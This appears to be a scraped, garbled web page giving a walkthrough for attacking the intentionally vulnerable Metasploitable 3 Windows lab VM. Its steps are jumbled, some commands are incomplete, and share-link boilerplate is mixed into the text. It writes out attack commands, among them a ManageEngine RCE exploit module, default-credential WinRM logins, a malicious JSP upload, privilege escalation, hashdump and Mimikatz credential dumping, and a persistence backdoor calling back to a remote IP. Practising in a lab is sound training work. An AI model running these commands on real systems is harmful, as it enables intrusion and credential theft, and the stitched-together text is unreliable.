Metasploitable 3 Windows Walkthrough ^hot^ Today
If you want to build a custom image from source, use:
mkdir metasploitable3-workspace cd metasploitable3-workspace curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile vagrant up
The first step in any penetration test is mapping the target to identify active services and potential entry points. Network Scanning with Nmap
In Metasploit, use search elasticsearch . Configure:
This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later. metasploitable 3 windows walkthrough
Use the auxiliary WinRM auth login module to test common credentials (e.g., vagrant / vagrant or administrator / vagrant ):
Metasploitable 3 Windows bundles ManageEngine Desktop Central, which historically suffers from a severe file upload vulnerability (CVE-2015-8249). Select the ManageEngine module: use exploit/windows/http/manageengine_connection_id_rce Use code with caution. Set operational variables:
gobuster dir -u http:// / -w /usr/share/wordlists/dirb/common.txt Use code with caution.
: Use the Meterpreter hashdump tool to pull SAM account registry hashes. hashdump Use code with caution. If you want to build a custom image
run persistence -U -i 10 -p 4444 -r 192.168.56.102
You now have access to the Tomcat Manager. We can use this to upload a malicious JSP payload.
getsystem getuid # Output: NT AUTHORITY\SYSTEM
The scan shows a web server running on port 8585. Browsing to http://192.168.1.105:8585 reveals a Twitter clone application. The backend runs Apache Tomcat, which often utilizes the Struts framework. This link or copies made by others cannot be deleted
If you prefer VMware over VirtualBox, follow these steps:
From an elevated Meterpreter session, load the Kiwi (Mimikatz) extension to dump plaintext credentials and NTLM hashes from memory: load kiwi creds_all Use code with caution.
From your active Meterpreter session, check your current user context and system privileges: getuid getsystem -t 1 Use code with caution.